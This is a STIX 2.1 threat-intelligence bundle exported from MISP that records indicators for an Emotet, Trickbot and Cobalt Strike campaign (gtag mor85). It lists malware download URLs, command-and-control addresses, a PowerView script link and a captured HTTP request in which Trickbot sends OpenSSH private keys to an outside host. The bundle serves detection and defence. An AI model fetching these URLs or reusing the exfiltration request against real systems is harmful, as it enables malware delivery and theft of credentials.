{ "type": "bundle", "id": "bundle--5e30d3b9-b330-44ac-8104-97af950d210f", "objects": [ { "type": "identity", "spec_version": "2.1", "id": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f", "created": "2020-01-31T12:03:27.000Z", "modified": "2020-01-31T12:03:27.000Z", "name": "laskowski-tech.com", "identity_class": "organization" }, { "type": "report", "spec_version": "2.1", "id": "report--5e30d3b9-b330-44ac-8104-97af950d210f", "created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f", "created": "2020-01-31T12:03:27.000Z", "modified": "2020-01-31T12:03:27.000Z", "name": "Emotet - Trickbot - CobaltStrike - gtag mor85", "published": "2020-01-31T12:04:58Z", "object_refs": [ "indicator--5e30d49a-6728-426b-bd62-97d0950d210f", "indicator--5e30d4ef-4b40-43e3-809f-7485950d210f", "indicator--5e30d4f1-3e34-4a15-86c7-7485950d210f", "indicator--5e30d590-5cb8-47fd-86e1-47c4950d210f", "x-misp-attribute--5e30d847-7174-4b17-97d2-97d2950d210f", "indicator--5e30d8a1-0190-4c85-bab9-4fa1950d210f", "observed-data--5e30de48-a3ac-47bd-999b-4582950d210f", "url--5e30de48-a3ac-47bd-999b-4582950d210f", "indicator--5e30d6e6-c0f0-4eaa-bf94-4e65950d210f", "indicator--5e30d789-8764-429a-bbec-4cdf950d210f" ], "labels": [ "Threat-Report", "misp:tool=\"MISP-STIX-Converter\"", "trickbot", "emotet:epoch=\"1\"", "Cobalt Strike", "PowerView" ], "object_marking_refs": [ "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9" ] }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5e30d49a-6728-426b-bd62-97d0950d210f", "created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f", "created": "2020-01-29T00:43:11.000Z", "modified": "2020-01-29T00:43:11.000Z", "description": "emotet maldoc download link", "pattern": "[url:value = 'http://1.magnoec.com/r2v5r/closed_CPo2hqV_9LuHqppjuXGHoSN/870323622452_ABzYhbO_portal/82h8i4qo61essf_4tu0x/']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2020-01-27T00:00:00Z", "valid_until": "2020-01-28T00:00:00Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "Payload delivery" } ], "labels": [ "misp:type=\"url\"", "misp:category=\"Payload delivery\"", "misp:to_ids=\"True\"", "emotet:epoch=\"1\"" ] }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5e30d4ef-4b40-43e3-809f-7485950d210f", "created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f", "created": "2020-01-29T00:43:43.000Z", "modified": "2020-01-29T00:43:43.000Z", "description": "Trickbot modules", "pattern": "[url:value = 'http://107.175.116.133/images/lastimg.png']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2020-01-29T00:43:43Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "Network activity" } ], "labels": [ "misp:type=\"url\"", "misp:category=\"Network activity\"", "misp:to_ids=\"True\"", "trickbot" ] }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5e30d4f1-3e34-4a15-86c7-7485950d210f", "created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f", "created": "2020-01-29T00:43:32.000Z", "modified": "2020-01-29T00:43:32.000Z", "description": "Trickbot modules", "pattern": "[url:value = 'http://107.175.116.133/images/mini.png']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2020-01-29T00:43:32Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "Network activity" } ], "labels": [ "misp:type=\"url\"", "misp:category=\"Network activity\"", "misp:to_ids=\"True\"", "trickbot" ] }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5e30d590-5cb8-47fd-86e1-47c4950d210f", "created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f", "created": "2020-01-29T00:45:42.000Z", "modified": "2020-01-29T00:45:42.000Z", "description": "trickbot c2", "pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '181.196.207.202' AND network-traffic:dst_port = '449']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2020-01-28T00:00:00Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "Network activity" } ], "labels": [ "misp:type=\"ip-dst|port\"", "misp:category=\"Network activity\"", "misp:to_ids=\"True\"", "trickbot" ] }, { "type": "x-misp-attribute", "spec_version": "2.1", "id": "x-misp-attribute--5e30d847-7174-4b17-97d2-97d2950d210f", "created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f", "created": "2020-01-29T00:57:09.000Z", "modified": "2020-01-29T00:57:09.000Z", "labels": [ "misp:type=\"text\"", "misp:category=\"Network activity\"" ], "x_misp_category": "Network activity", "x_misp_comment": "Trickbot looking to exfil SSH keys", "x_misp_type": "text", "x_misp_value": "```\r\nPOST /mor85/$HOSTNAME_W10017763.17B12C3CA6F6245FD0479319017B8DF1/81/ HTTP/1.1\r\n\r\nAccept: */*\r\n\r\nContent-Type: multipart/form-data; boundary=---------XYYUIBBYFVTYXHJK\r\n\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)\r\n\r\nHost: 203.176.135.102:8082\r\n\r\nContent-Length: 210\r\n\r\nConnection: Close\r\n\r\nCache-Control: no-cache\r\n\r\n\r\n\r\n-----------XYYUIBBYFVTYXHJK\r\n\r\nContent-Disposition: form-data; name=\"data\"\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------XYYUIBBYFVTYXHJK\r\n\r\nContent-Disposition: form-data; name=\"source\"\r\n\r\n\r\n\r\nOpenSSH private keys\r\n\r\n-----------XYYUIBBYFVTYXHJK--\r\n```" }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5e30d8a1-0190-4c85-bab9-4fa1950d210f", "created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f", "created": "2020-01-29T00:58:09.000Z", "modified": "2020-01-29T00:58:09.000Z", "description": "Trickbot Exfil On port 8082", "pattern": "[network-traffic:dst_ref.type = 'ipv4-addr' AND network-traffic:dst_ref.value = '203.176.135.102' AND network-traffic:dst_port = '8082']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2020-01-29T00:58:09Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "Network activity" } ], "labels": [ "misp:type=\"ip-dst|port\"", "misp:category=\"Network activity\"", "misp:to_ids=\"True\"" ] }, { "type": "observed-data", "spec_version": "2.1", "id": "observed-data--5e30de48-a3ac-47bd-999b-4582950d210f", "created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f", "created": "2020-01-29T01:22:16.000Z", "modified": "2020-01-29T01:22:16.000Z", "first_observed": "2020-01-29T01:22:16Z", "last_observed": "2020-01-29T01:22:16Z", "number_observed": 1, "object_refs": [ "url--5e30de48-a3ac-47bd-999b-4582950d210f" ], "labels": [ "misp:type=\"link\"", "misp:category=\"External analysis\"" ] }, { "type": "url", "spec_version": "2.1", "id": "url--5e30de48-a3ac-47bd-999b-4582950d210f", "value": "https://laskowski-tech.com/2020/01/29/is-that-really-your-av-company-trickbot-gtag-mor85/" }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5e30d6e6-c0f0-4eaa-bf94-4e65950d210f", "created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f", "created": "2020-01-29T00:51:48.000Z", "modified": "2020-01-29T00:51:48.000Z", "pattern": "[url:value = 'https://sophosdefence.com:80/agergbvafdsvgbrt' AND url:x_misp_text = 'Cobalt Strike C2 delivered by trickbot' AND url:x_misp_ip = '149.248.5.240' AND url:x_misp_domain = 'sophosdefence.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2020-01-29T00:51:48Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "network" } ], "labels": [ "misp:name=\"url\"", "misp:meta-category=\"network\"", "misp:to_ids=\"True\"", "Cobalt Strike" ] }, { "type": "indicator", "spec_version": "2.1", "id": "indicator--5e30d789-8764-429a-bbec-4cdf950d210f", "created_by_ref": "identity--5e157d76-c92c-4acd-a54e-4a01950d210f", "created": "2020-01-29T00:55:06.000Z", "modified": "2020-01-29T00:55:06.000Z", "pattern": "[url:value = 'https://qwe4dse4.com/hcxUr9dg.ps1' AND url:x_misp_ip = '45.32.211.239' AND url:x_misp_domain = 'qwe4dse4.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2020-01-29T00:55:06Z", "kill_chain_phases": [ { "kill_chain_name": "misp-category", "phase_name": "network" } ], "labels": [ "misp:name=\"url\"", "misp:meta-category=\"network\"", "misp:to_ids=\"True\"", "PowerView" ] }, { "type": "marking-definition", "spec_version": "2.1", "id": "marking-definition--613f2e26-407d-48c7-9eca-b8e91df99dc9", "created": "2017-01-20T00:00:00.000Z", "definition_type": "tlp", "name": "TLP:WHITE", "definition": { "tlp": "white" } } ] }